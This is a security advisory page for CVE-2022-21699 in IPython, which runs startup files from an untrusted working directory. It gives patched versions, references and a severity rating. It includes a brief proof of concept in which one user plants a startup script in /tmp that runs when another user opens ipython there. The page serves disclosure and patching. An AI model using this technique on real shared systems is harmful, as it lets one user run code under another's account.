Execution with Unnecessary Privileges in ipython
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.pyUser2:
cd /tmp
ipythonUser2 will see:
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secretsPatched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,
Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | ipython | < 5.11, >= 6.0.0, < 7.16.3, >= 7.17.0, < 7.31.1, >= 8.0.0, < 8.0.1 | 5.11, 7.16.3, 7.31.1, 8.0.1 |
References
- https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699
- https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x
- https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668
- https://lists.debian.org/debian-lts-announce/2022/01/msg00021.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-21699
- https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b
- https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d
- https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea
- https://github.com/ipython/ipython
- https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-250, CWE-269, CWE-279- Platform
- Python (PyPI)
- Package
ipython- Disclosed
- 19.01.2022
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2022-12 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-pq7m-3gw7-gq5x - CC BY 4.0
Vulnerability history: ipython
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 08.2014 02.2023
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 3
- Medium 3
- Low 1
Disclosures per year
- 2017: 3
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 1
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 0
earlier: 3
-
Execution with Unnecessary Privileges in ipython this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.